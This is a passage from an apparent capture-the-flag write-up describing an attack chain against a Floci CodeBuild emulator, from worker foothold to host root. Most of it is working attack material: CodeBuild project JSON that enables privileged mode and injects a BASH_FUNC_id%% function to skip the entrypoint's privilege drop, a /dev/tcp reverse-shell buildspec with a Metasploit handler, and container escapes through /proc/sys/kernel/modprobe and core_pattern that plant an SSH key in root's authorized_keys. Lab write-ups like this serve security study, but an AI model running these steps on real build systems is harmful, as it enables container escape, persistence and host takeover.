    "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - id\n"
  },
  "artifacts": {
    "type": "NO_ARTIFACTS"
  },
  "environment": {
    "type": "LINUX_CONTAINER",
    "image": "floci/floci:latest",
    "computeType": "BUILD_GENERAL1_SMALL"
  },
  "serviceRole": "arn:aws:iam::847219365028:root"
}
EOF

The important fields came from the CreateProject request shape:

  • source.buildspec: inline build instructions, here reduced to a single id command
  • environment.type: run the build inside a Linux container
  • environment.image: use the default official image floci/floci:latest
  • environment.computeType: minimal build runner size
  • serviceRole: use the recovered Floci root identity in section 3.2.2 (arbitrary valid arn would work here as long as it aligns with the format)

Then submit it with create-project:

Bash
aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild create-project --cli-input-json file:///tmp/cb-probe.json

The request was accepted, that is enough:

axura@labyrinth:~
worker@16f4f61568b6:/app$ aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild list-projects
{
    "projects": [
        "cb-probe"
    ]
}

The worker foothold can write a new CodeBuild project into Floci, so project creation is attacker-controlled and the path can move from enumeration into build execution.

3.3.3 StartBuild Primitive

The next check was whether that attacker-controlled project could actually be queued for execution. That is the second half of the HackTricks CodeBuild privesc pivot: creating a project is only useful if the backend also accepts start-build.

So the next probe was to start the new project:

Bash
aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild start-build --project-name cb-probe

Once that request is accepted, Floci should return a build object with a fresh build ID. That can be verified from either side:

Bash
aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild list-builds

aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild batch-get-builds --ids cb-probe:1

The batch-get-builds returned the build result (trimmed):

cb-probe:1 insepction output
{
    "builds": [
        {
            "id": "cb-probe:1",
            "arn": "arn:aws:codebuild:us-east-1:847219365028:build/cb-probe:1",
            "buildNumber": 1,
            "currentPhase": "COMPLETED",
            "buildStatus": "FAILED",
            "projectName": "cb-probe",
            "phases": [
                {
                    "phaseType": "SUBMITTED",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "QUEUED",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "PROVISIONING",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "DOWNLOAD_SOURCE",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "INSTALL",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "PRE_BUILD",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "BUILD",
                    "phaseStatus": "FAILED",
                    "contexts": [
                        {
                            "statusCode": "COMMAND_EXECUTION_ERROR",
                            "message": "Status 404: {\"message\":\"No such exec instance: 99e04eb978d4da7e960272ed7768381dac1d32849dac893618205a48cf86e7df\"}\n"
                        }
                    ]
                },
                {
                    "phaseType": "POST_BUILD",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "UPLOAD_ARTIFACTS",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "FINALIZING",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "COMPLETED",
                    "phaseStatus": "FAILED",
                }
            ],
            "source": {
                "type": "NO_SOURCE",
                "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - id\n"
            },
            "environment": {
                "type": "LINUX_CONTAINER",
                "image": "floci/floci:latest",
                "computeType": "BUILD_GENERAL1_SMALL"
            },
            "initiator": "user"
        }
    ]
}
Expand

The result was more useful than a simple failure. The build was accepted, assigned an ID, and progressed through the normal CodeBuild lifecycle:

cb-probe:1 build flow
SUBMITTED -> QUEUED -> PROVISIONING -> DOWNLOAD_SOURCE -> INSTALL -> PRE_BUILD -> BUILD

That confirmed the important control-plane pivot: the worker credentials could create/start a CodeBuild job against the Floci backend, and Floci was parsing the inline buildspec from the project definition.

cb-probe:1 buildspec
phases:
  build:
    commands:
      - id

The failure happened only when the build reached the actual command execution phase:

cb-probe:1 Error
COMMAND_EXECUTION_ERROR
No such exec instance: 99e04eb978d...

The remaining problem was now inside Floci's build executor. The No such exec instance error suggested that Floci tried to run the command through a container exec backend, but the expected exec/container instance was missing by the time the command was invoked.

3.3.4 PrivilegeMode Switch

Using the recovered Floci root ARN was not enough to make the command execution reliable. So recall the idea from section 3.3.1: if CodeBuild lets us control the build environment itself, then the real opportunity is to weaken the container boundary instead of changing the buildspec artifact.

The methodology became:

Graph
worker foothold
    |
    v
create / start CodeBuild project
    |
    v
control build environment
    |
    +--> choose Floci image
    +--> enable privileged container mode
    |
    v
weaker container isolation
    |
    v
access host-facing kernel paths

That made privileged mode the next thing to test. In Docker terms, that is the familiar --privileged idea: the container runs with much weaker isolation, that should be very well-known for attackers. The Docker docs warn that privileged containers are not a secure sandbox and can reach host-level control.

AWS CodeBuild exposes a similar switch through the project environment option privilegedMode. AWS Security Hub treats privileged CodeBuild environments as risky, and many other resource like this recommends keeping it disabled:

JSON
{
  "project": {
    "environment": {
      "privilegedMode": false
    }
  }
}

So after seeing that Floci's CodeBuild path used Docker-backed execution, this option became the obvious knob to test.

Floci's own ProjectEnvironment.java shows that privilegedMode is a real CodeBuild environment field:

Java
private String type;
private String image;
private String computeType;
private List<Map<String, String>> environmentVariables;
private Boolean privilegedMode;

public Boolean getPrivilegedMode() { return privilegedMode; }
public void setPrivilegedMode(Boolean privilegedMode) { this.privilegedMode = privilegedMode; }

Then CodeBuildRunner.java reads that flag and passes it straight into Docker:

Java
boolean privileged = (project.getEnvironment() != null
        && Boolean.TRUE.equals(project.getEnvironment().getPrivilegedMode()))
        || (build.getEnvironment() != null
        && Boolean.TRUE.equals(build.getEnvironment().getPrivilegedMode()));

ContainerSpec spec = containerBuilder.newContainer(image)
        .withPrivileged(privileged)
        .build();

Setting:

JSON
"privilegedMode": true

would directly influence how Floci created the build container.

The next test was therefore to update cb-probe with privilegedMode: true and keep the buildspec simple:

Bash
cat > /tmp/cb-hijack.json << 'EOF'
{
  "name": "cb-hijack",
  "source": {
    "type": "NO_SOURCE",
    "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - id\n"
  },
  "artifacts": {
    "type": "NO_ARTIFACTS"
  },
  "environment": {
    "type": "LINUX_CONTAINER",
    "image": "floci/floci:latest",
    "computeType": "BUILD_GENERAL1_SMALL",
    "privilegedMode": true
  },
  "serviceRole": "arn:aws:iam::847219365028:root"
}
EOF

Update the existed project with update-project and build again:

Bash
aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild update-project --cli-input-json file:///tmp/cb-probe.json

aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild start-build --project-name cb-probe

After enabling privileged mode, check the new build result:

Bash
aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild list-builds

# "ids": ["cb-probe:2","cb-probe:1"]

aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild batch-get-builds --ids cb-probe:2

The second build still failed, but the failure was more useful. The returned build object now reflected the updated environment:

cb-probe:2 insepction output
"environment": {
    "type": "LINUX_CONTAINER",
    "image": "floci/floci:latest",
    "computeType": "BUILD_GENERAL1_SMALL",
    "privilegedMode": true
}

So privilegedMode was not ignored. Floci accepted the flag, stored it in the project configuration, and carried it into the build environment.

The failure also changed:

cb-probe:2 insepction output
{
    "phaseType": "BUILD",
    "phaseStatus": "FAILED",
    "contexts": [
        {
            "statusCode": "COMMAND_EXECUTION_ERROR",
            "message": "Exit code 127: OCI runtime exec failed: exec failed: unable to start container process: error adding pid 87596 to cgroups: failed to write 87596: openat2 /sys/fs/cgroup/system.slice/docker-6b7587e3f9fd8dfc0447482cfa6cb1ebe836f1a63758d9f4df455e09e022a0f1.scope (deleted)/cgroup.procs: no such file or directory"
        }
    ]
}

The important part was the OCI/cgroup failure. Floci had already accepted the project, started the build, prepared the Docker-backed container, and failed only when it tried to deliver the buildspec command through the runtime exec path.

Graph
create-project
      |
      v
start-build
      |
      v
build container prepared
      |
      v
buildspec command delivered via OCI/docker exec
      |
      v
cgroup path already deleted
      |
      v
COMMAND_EXECUTION_ERROR

This was an expected safety guard. The blocker had moved into Floci's runtime handoff after container creation. That meant changing the build command alone was unlikely to help, because the command was failing at delivery time, not because of its content.

3.3.5 Environment Hijacking Primitive

The previous failure showed: Floci was failing while delivering the command into the already-started container, not because the command content was wrong. So the next useful control was anything that reached the build container before that Docker/OCI exec stage.

CodeBuild provides that control through environment variables. The StartBuild API supports environmentVariablesOverride:

JSON
"environmentVariablesOverride": [
  {
    "name": "string",
    "type": "string",
    "value": "string"
  }
]

CodeBuild project environments use the same EnvironmentVariable shape, with three valid types:

environmentVariable.type
PLAINTEXT | PARAMETER_STORE | SECRETS_MANAGER

PLAINTEXT is the default. It passes the value directly as a literal environment value instead of resolving it from Parameter Store or Secrets Manager. AWS warns against using PLAINTEXT for secrets because those values can be displayed in plain text through the console or CLI:

For this path, that behavior was useful in the opposite direction. We did not need to hide a secret; we needed an attacker-controlled string to reach the build environment unchanged. With the earlier CodeBuild project write primitive (see section 3.3.2), this gave us an environment-control primitive before the unstable buildspec execution path.

3.4 Startup-Time Environment Hijacking

With the environment-control primitive established, the next step was to use it somewhere earlier than the failing buildspec execution path.

The previous probe showed that changing the build command alone was not enough, because the command failed while being delivered through Docker/OCI exec. Environment variables, however, were attached to the build container at creation time. That made the container startup path the next target.

3.4.1 Build Container Startup Environment

AWS CodeBuild supports build-time environment variables, and the project API exposes them through the environmentVariables field. Through the earlier CodeBuild project write primitive, these values were attacker-controlled.

In real CodeBuild, these values become part of the build environment. In Floci, the source showed how that mapping happened. In CodeBuildRunner.java, Floci first builds an environment list, attaches it to the Docker container spec, and only then starts the container:

Java
// Convert CodeBuild environment variables into Docker KEY=VALUE entries.
List<String> envList = buildEnvList(region, build, project, buildspec, logStream);

// Build the container spec. Floci overrides CMD, but keeps the image ENTRYPOINT.
ContainerSpec spec = containerBuilder.newContainer(image)
        .withCmd(List.of("sh", "-c",
                "mkdir -p /codebuild/output/src/src && tail -f /dev/null"))

        // Attach environment variables before container startup.
        .withEnv(envList)

        // Apply CodeBuild privilegedMode.
        .withPrivileged(privileged)
        .build();

// Start the container after the environment has been attached.
// Startup-time ENTRYPOINT logic can therefore observe attacker-controlled values.
ContainerLifecycleManager.ContainerInfo info = lifecycleManager.createAndStart(spec);

That timing mattered. CodeBuildRunner overrode the container CMD, but it did not replace the image ENTRYPOINT. Since the selected image was floci/floci:latest, its entrypoint script would run with the injected environment already present.

Graph
CodeBuild environmentVariables
        |
        v
buildEnvList(...)
        |
        v
.withEnv(envList)
        |
        v
Docker container created with env
        |
        v
image ENTRYPOINT runs
        |
        v
later buildspec commands via Docker/OCI exec

So the idea was to test whether attacker-controlled environment variables (EnvironmentVariable values controlled through environmentVariablesOverride during the CodeBuild workflow) could influence the entrypoint's startup-time logic.

3.4.2 Entrypoint Privilege Drop

The Floci image entrypoint intentionally starts as root before dropping to the unprivileged floci user.

The source comment explains why: Floci needs to normalize the bind-mounted Docker socket permissions so floci can access Docker consistently across native Linux and Docker Desktop setups.

Bash
#!/bin/sh
# Starts as root, normalizes the bind-mounted Docker socket's group
# ownership so the unprivileged `floci` user can reach it on any host,
# then re-executes this script as `floci` via gosu.
...
set -eu

if [ "$(id -u)" = '0' ]; then
    ...

    if [ -d /app/data ]; then
        chown -R floci:root /app/data 2>/dev/null || true
    fi

    exec gosu floci "$0" "$@"
fi

The lifecycle is therefore:

Graph
container starts as root
        |
        v
entrypoint.sh runs
        |
        v
id -u check decides whether root-side setup runs
        |
        +-- uid == 0
        |      |
        |      v
        |   root-only setup
        |      |
        |      v
        |   gosu floci "$0" "$@"
        |      |
        |      v
        |   entrypoint runs again as floci
        |
        v
exec final command

This matters because the CodeBuild environmentVariables could be injected before the image entrypoint runs. And those attacker-controlled env could affect this root-side entrypoint logic!

The next probe therefore focused on the startup path, especially this id -u privilege-drop check, which will be the next target.

3.4.3 Bash Exported-Function Hijacking

For environment hijacking into a container entrypoint script, exported functions could be leveraged.

Bash supports exporting shell functions to child Bash processes through export -f command. The exact backed modern encoding is visible in Bash's source variables.c. Exported function names use a fixed prefix and suffix:

C
#define BASHFUNC_PREFIX "BASH_FUNC_"
#define BASHFUNC_SUFFIX "%%"

The import logic then checks for that format before treating an environment variable as a function:

C
#if defined (FUNCTION_IMPORT)
  /* If exported function, define it now. Don't import functions from
     the environment in privileged mode. */
  if (privmode == 0  && read_but_dont_execute == 0 &&
      STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
      STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
      STREQN ("() {", string, 4))
    {
      namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;

      tname = name + BASHFUNC_PREFLEN;  /* start of func name */
      tname[namelen] = '\0';            /* now tname == func name */
      ...
      parse_and_execute(temp_string, ...);
    }
#endif

So the expected shape is:

Bash
BASH_FUNC_<function_name>%%=() { ...; }

That made BASH_FUNC_<function_name>%% a special builtin variable name. If Bash imports it, the prefix and suffix would be stripped, the function name would become <function_name>, and the value would be parsed as the function body.

A local test against id confirmed the behavior:

Bash
env -i 'BASH_FUNC_id%%=() { echo "not-axura(1337)"; }' \
    bash -c 'type id; id -u'

Bash imported the variable, so id was no longer resolved from /usr/bin/id, but our self-defined BASH_FUNC_id%% from env:

axura@labyrinth:~
$ id
uid=1000(Axura) gid=1000(Axura) groups=1000(Axura),150(wireshark),998(wheel)
$ env -i 'BASH_FUNC_id%%=() { echo "not-axura(1337)"; }' \
    bash -c 'type id; id -u'
id is a function
id ()
{
    echo "not-axura(1337)"
}
not-axura(1337)

For the Floci path, this meant an injected CodeBuild environment variable could be used as a Bash-specific startup inejction.

3.4.4 Floci Entrypoint Vulnerability

That primitive could work with the environment hijacking primitive (see section 3.3.5), because the Floci image entrypoint.sh makes its privilege-drop decision depending on the id -u result:

Bash
if [ "$(id -u)" = '0' ]; then
    ...
    exec gosu floci "$0" "$@"
fi

For the entrypoint, the actual target was the string comparison above. If id -u could be hijacked to return anything other than the exact string 0, the script would skip the gosu floci branch:

Graph
actual UID is 0
        |
        v
hijack id -u output to something != 0
        |
        v
entrypoint skips gosu floci
        |
        v
process remains root

We could emulate the runtime under a root shell:

axura@labyrinth:~
# id
uid=0(root) gid=0(root) groups=0(root)
# env -i 'BASH_FUNC_id%%=() { echo "1000"; }' \
  bash -c 'if [ "$(id -u)" = "0" ]; 
then echo "drop via gosu"; 
else echo "skip gosu"; 
fi;'
skip gosu

That would help skipping the root-only branch. It meant the script would not execute gosu floci "$0" "$@", so the remaining entrypoint logic and final command would continue under the original root process context:

Bash
#!/bin/sh

# The container starts as root.
# Normally, this branch runs and re-executes the entrypoint as `floci`.
if [ "$(id -u)" = '0' ]; then
    ...

    # Drop from root to the unprivileged floci user.
    exec gosu floci "$0" "$@"
fi

# If `id -u` is hijacked to return a non-zero value, the branch above is skipped.
# The script reaches this point while the process is still actually UID 0.
if [ "${LOCALSTACK_PARITY:-true}" != "false" ]; then
    . /usr/local/bin/localstack-parity.sh
fi

# Fall back to the image's default command when invoked with no arguments.
if [ $# -eq 0 ]; then
    if [ -x /app/application ]; then
        set -- /app/application -Dquarkus.http.host=0.0.0.0
    else
        set -- java -jar /app/quarkus-app/quarkus-run.jar -Dquarkus.http.host=0.0.0.0
    fi
fi

# Because the gosu branch was skipped, this final process is still launched as root.
exec "$@"

After all, the hijack target was not the id output. The real target was the entrypoint's control flow.

So the injected variable should make id -u look non-root (not 0), using PLAINTEXT type in environmentVariablesOverride (see section 3.3.5):

JSON
"environmentVariablesOverride": [
    {
      "name": "BASH_FUNC_id%%",
      "value": "() { echo \"<non-root id whatever>\"; }",
      "type": "PLAINTEXT"
    }
]

The goal was not to trust the fake id -u output as proof of privilege, but to make the startup script believe it was already non-root, so it would skip the privilege drop while the process itself remained UID 0.

That is the logical vulnerability in Floci's entrypoint.sh, which can be consider a 0-day in some extent.

3.4.5 Floci Entrypoint Hijacking

With the vulnerability identified, now use the same Floci image and privileged container mode.

But this time the environment variable override hijacted the id command insider the builder container, which the id -u result should have been the process onwer UID (root:0):

JSON
"environmentVariablesOverride": [
    {
      "name": "BASH_FUNC_id%%",
      "value": "() { echo \"1337\"; }",
      "type": "PLAINTEXT"
    }
]

This config hijacks environmentVariablesOverride.value != 0 (can be whatever non-nul string), when its env key is BASH_FUNC_id%% (function to replace id) in type PLAINTEXT.

Therefore, we first constructed a JSON skeleton of a CodeBuild project that later could exploit the Floci entrypoint vulnerability:

Bash
cat > /tmp/cb-poc.json << 'EOF'
{
  "name": "cb-poc",
  "source": {
    "type": "NO_SOURCE",
    "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - id\n"
  },
  "artifacts": {
    "type": "NO_ARTIFACTS"
  },
  "environment": {
    "type": "LINUX_CONTAINER",
    "image": "floci/floci:latest",
    "computeType": "BUILD_GENERAL1_SMALL",
    "privilegedMode": true,
    "environmentVariables": [
      {
        "name": "BASH_FUNC_id%%",
        "value": "() { echo \"1337\"; }",
        "type": "PLAINTEXT"
      }
    ]
  },
  "serviceRole": "arn:aws:iam::847219365028:root"
}
EOF

Then create and build project:

Bash
aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild create-project --cli-input-json file:///tmp/cb-poc.json

aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild start-build --project-name cb-poc

Inspect the result for confirmation:

Bash
aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild list-builds

aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild batch-get-builds --ids cb-poc:1

This time the build completed successfully:

Whole lifecycle succeeded:

cb-poc:1 inspection output
{
    "builds": [
        {
            "id": "cb-poc:1",
            "arn": "arn:aws:codebuild:us-east-1:847219365028:build/cb-poc:1",
            "currentPhase": "COMPLETED",
            "buildStatus": "SUCCEEDED",
            "projectName": "cb-poc",
            "phases": [
                {
                    "phaseType": "SUBMITTED",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "QUEUED",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "PROVISIONING",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "DOWNLOAD_SOURCE",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "INSTALL",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "PRE_BUILD",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "BUILD",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "POST_BUILD",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "UPLOAD_ARTIFACTS",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "FINALIZING",
                    "phaseStatus": "SUCCEEDED",
                },
                {
                    "phaseType": "COMPLETED",
                    "phaseStatus": "SUCCEEDED",
                }
            ],
            "source": {
                "type": "NO_SOURCE",
                "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - id\n"
            },
            "artifacts": {},
            "environment": {
                "type": "LINUX_CONTAINER",
                "image": "floci/floci:latest",
                "computeType": "BUILD_GENERAL1_SMALL",
                "environmentVariables": [
                    {
                        "name": "BASH_FUNC_id%%",
                        "value": "() { echo \"1337\"; }",
                        "type": "PLAINTEXT"
                    }
                ],
                "privilegedMode": true
            },
        }
    ],
}
Expand

With the injected BASH_FUNC_id%% now in place, the build no longer died in the same runtime handoff. It ran through INSTALL, PRE_BUILD, BUILD, POST_BUILD, and completed as SUCCEEDED.

At that point, we owned the primitive of arbitrary command execution under the builder container context. For now, it was still a blind injection without a solid response channel, but that was trivial to fix.

3.5 Builder Container Pivot

The previous build already showed that the injected environment variable could steer the Floci startup path. The next step was to shell inside the builder container.

The cleaner pivot was a direct reverse shell. So background the running msf session and start a second handler:

MSF
use exploit/multi/handler
set payload generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4445
set ExitOnSession false
run -j

Then reconnect the backgrounded session and prepare a dedicated buildspec:

Bash
cat > /tmp/buildspec-builder-root.yml <<EOF
version: 0.2

phases:
  build:
    commands:
      - /bin/bash -c 'bash -i >& /dev/tcp/10.10.13.68/4445 0>&1'
EOF

Load that file into a fresh CodeBuild project with the same RCE primitive introduced in section 3.4.5:

Bash
python3 - << 'PY' > /tmp/cb-builder-root.json
import json
from pathlib import Path

project = {
  "name": "cb-builder-root",
  "source": {
    "type": "NO_SOURCE",
    "buildspec": Path("/tmp/buildspec-builder-root.yml").read_text(),
  },
  "artifacts": {"type": "NO_ARTIFACTS"},
  "environment": {
    "type": "LINUX_CONTAINER",
    "image": "floci/floci:latest",
    "computeType": "BUILD_GENERAL1_SMALL",
    "privilegedMode": True,
    "environmentVariables": [
      {
        "name": "BASH_FUNC_id%%",
        "value": "() { echo \"1337\"; }",
        "type": "PLAINTEXT",
      }
    ],
  },
  "serviceRole": "arn:aws:iam::847219365028:root",
}

print(json.dumps(project))
PY

aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild create-project --cli-input-json file:///tmp/cb-builder-root.json

aws --endpoint-url http://floci:4566 --region us-east-1 \
    codebuild start-build --project-name cb-builder-root

After the buildspec command triggering, we had a call back:

axura@labyrinth:~
[*] Command shell session 3 opened (10.10.13.68:4445 -> 10.129.78.103:55008) at 2026-06-22 00:09:44 -0700

^Z
Background channel 1? [y/N]  y
meterpreter > bg
[*] Backgrounding session 2...
msf exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                                      Connection
  --  ----  ----                   -----------                                                                      ----------
  1         shell sparc/bsd        Shell Banner: bash: cannot set terminal process group (1): Inappropriate ioc...  10.10.13.68:4444 -> 10.129.78.103:42784 (10.129.78.103)
  2         meterpreter x64/linux  worker @ 16f4f61568b6                                                            10.10.13.68:5555 -> 10.129.78.103:58096 (::1)
  3         shell sparc/bsd        Shell Banner: bash: cannot set terminal process group (8): Inappropriate ioc...  10.10.13.68:4445 -> 10.129.78.103:55008 (10.129.78.103)

msf exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...

Shell Banner:
bash: cannot set terminal process group (8): Inappropriate ioctl for device
-----

[root@c8dbf88d6ace src]# id
id
uid=1000(worker) gid=1000(worker) groups=1000(worker)
[root@c8dbf88d6ace src]# whoami
root

The id result was poisoned by the BASH_FUNC_id%% override. That shell was root already in the builder container.

3.6 Container Escape Artifacts

3.6.1 Container Enumeration

The builder container environment was different from the worker, so using tricks introduced in section 2.4 for a meterpreter failed.

Simply check ls /bin to uncover /bin/curl, then upload a busybox binary instead:

axura@labyrinth:~
[root@36708bf8dfa9 ~]# /bin/curl -O http://10.10.13.68/busybox
/bin/curl -O http://10.10.13.68:/busybox
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1036k  100 1036k    0     0   118k      0  0:00:08  0:00:08 --:--:--  166k
[root@36708bf8dfa9 ~]# chmod +x busybox
chmod +x busybox
[root@36708bf8dfa9 ~]# ./busybox ifconfig
./busybox ifconfig
eth0      Link encap:Ethernet  HWaddr 06:20:E6:08:27:2D
          inet addr:172.18.0.4  Bcast:172.18.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:734 errors:0 dropped:0 overruns:0 frame:0
          TX packets:508 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1110187 (1.0 MiB)  TX bytes:35037 (34.2 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:140 errors:0 dropped:0 overruns:0 frame:0
          TX packets:140 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:8400 (8.2 KiB)  TX bytes:8400 (8.2 KiB)

root@36708bf8dfa9 at 172.18.0.4 is the new transient CodeBuild build container.

Upload cdk for container enumeration:

Bash
./cdk evaluate --full

Found SYS_ADMIN, CAP_SYS_MODULE and more:

Huge exploit surfaces:

cdk result on builder container
current user: root uid: 0 gid: 0
CapEff: 000001ffffffffff
[!] CAP_DAC_READ_SEARCH enabled.
[!] CAP_SYS_MODULE enabled.
Critical - SYS_ADMIN Capability Found.
overlay ... upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/168/fs
/sys rw
/sys/fs/cgroup rw

This was no longer the weak worker container. The builder container was effectively privileged: root, huge effective capabilities, writable kernel-facing mounts, and an OverlayFS root filesystem with a real host-side upperdir.

3.6.2 Owned Capabilities

The most relevant capabilities in this set were:

  • CAP_SYS_ADMIN: a near-root capability because it reaches broad administrative and kernel-facing operations.
  • CAP_SYS_MODULE: highlighted as especially dangerous because it can influence host-kernel module behaviour.
  • CAP_DAC_READ_SEARCH: bypasses file read and directory traversal permission checks.

That matched the situation on Nimbus: root-file reads were already trivial inside the builder container, and the remaining question was which kernel-facing primitive would convert that container root into host root.

3.6.3 OverlayFS Upperdir Bridge

At this point, the missing piece was path translation. The OverlayFS layout exposed a host-backed writable upperdir, so a file written inside the container also existed as a host-side path.

Recover that path from /proc/mounts:

Bash
upperdir="$(awk '$3=="overlay" && $2=="/" {
  match($4,/upperdir=([^,]+)/,a);
  if (a[1]) print a[1]
}' /proc/mounts | head -1)"

That matched the cdk output:

axura@labyrinth:~
[root@f5be5cb8e03c ~]# echo "$upperdir"
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/168/fs

So a helper written in the container at /tmp/pwn.sh would exist on the host-backed snapshot layer as:

Graph
inside build container
    /tmp/pwn.sh
        |
        v
overlay merged view
        |
        v
host-backed upperdir
    <upperdir>/tmp/pwn.sh
    /var/lib/containerd/.../168/fs/tmp/pwn.sh

3.7 Exploits

EXP 1: Kernel Module Hijacking

We can target various kernel modules, but the simplest one is of course the initiator modprobe.

Writable Modprobe Binary

The second ingredient was Linux /proc/sys/kernel/modprobe. It's the full path to the usermode helper used for autoloading kernel modules. In other words, if we could point that helper path at our own script and then trigger the relevant kernel path, the host kernel would execute it for us.

In a normal container this would not matter. Here, after seeing the capability set above, especially CAP_SYS_MODULE, the next thing to verify was whether the builder shell could reach /proc/sys/kernel/modprobe at all:

axura@labyrinth:~
[root@5cc3deec0f4c src]# cat /proc/sys/kernel/modprobe
/sbin/modprobe
[root@5cc3deec0f4c src]# ls -l /proc/sys/kernel/modprobe
-rw-r--r-- 1 root root 0 Jun 22 09:05 /proc/sys/kernel/modprobe

That was the proof we needed. The helper was still at its default value /sbin/modprobe, and the sysctl node was writable by root. Since the builder shell was already running as root in this privileged container, we could replace that helper path with our own host-visible script.

So the escape path became:

Graph
builder root
    |
    +--> write host-visible helper into upperdir
    |
    +--> point /proc/sys/kernel/modprobe to that helper
    |
    +--> execute malformed binary
    |
    v
host kernel runs helper as host root

Modprobe Trigger

The cleaner privesc was SSH-key persistence.

Bash
# Replace ssh pub key
cat > /tmp/pwn.sh << 'EOF'
#!/bin/sh
key='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINvWRcJV72gya+vRaWaaCwwS7euqT0qfPN3SrRvjat16 Axura@Labyrinth'
mkdir -p /root/.ssh
touch /root/.ssh/authorized_keys
grep -qxF "$key" /root/.ssh/authorized_keys || echo "$key" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
EOF

chmod +x /tmp/pwn.sh

# Translate the container path into the matching host-backed path.
upperdir=$(awk '/overlay/{match($0,/upperdir=([^,]+)/,a); if (a[1]) print a[1]}' /proc/mounts | head -1)

# Replace the default modprobe helper with our own host-visible script.
echo "$upperdir/tmp/pwn.sh" > /proc/sys/kernel/modprobe

# /tmp/deadbeef is just an invalid binary blob. 
# Executing it forces the kernel into the unknown-binary path, 
# which then consults the modprobe helper we just changed.
printf '\xde\xad\xbe\xef' > /tmp/deadbeef
chmod +x /tmp/deadbeef
/tmp/deadbeef || true

The important point is that /tmp/deadbeef is expected to fail as a normal executable. That failure is the trigger. Its only job is to make the host kernel consult the helper path in /proc/sys/kernel/modprobe, which we had already redirected to pwn.sh.

Rooted.

EXP 2: core_pattern Pipe

There was another host-root path through /proc/sys/kernel/core_pattern, a classic Linux privesc/container-escape primitive, which should be very familar to Linux-binex pwner.

That says, if core_pattern starts with |, the kernel treats the rest of the value as a userspace helper command and pipes the crashing process's core dump to that program on stdin.

That mattered because the helper path is interpreted from the host side. So the same OverlayFS bridge could be reused:

Graph
/tmp/pwn.sh inside container
        |
        v
<upperdir>/tmp/pwn.sh on host
        |
        v
core_pattern = |<upperdir>/tmp/pwn.sh
        |
        v
deliberate crash triggers host-root helper execution

First, validate that the relevant sysctls are visible and writable:

axura@labyrinth:~
[root@5cc3deec0f4c src]# ls -l /proc/sys/kernel/core_pattern /proc/sys/kernel/core_pipe_limit
-rw-r--r-- 1 root root 0 Jun 22 09:43 /proc/sys/kernel/core_pattern
-rw-r--r-- 1 root root 0 Jun 22 09:43 /proc/sys/kernel/core_pipe_limit
[root@5cc3deec0f4c src]# cat /proc/sys/kernel/core_pattern /proc/sys/kernel/core_pipe_limit
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
10

The write was expected for a root user. Then execute:

Bash
#!/bin/bash
# read_flag.sh

cat > /tmp/pwn.sh << 'EOF'
#!/bin/sh
cat /root/root.txt > "$(dirname "$0")/host-root.txt"
chmod 644 "$(dirname "$0")/host-root.txt"
EOF
chmod +x /tmp/pwn.sh

# Translate the container path into the matching host-backed path.
upperdir="$(awk '$3=="overlay" && $2=="/" {
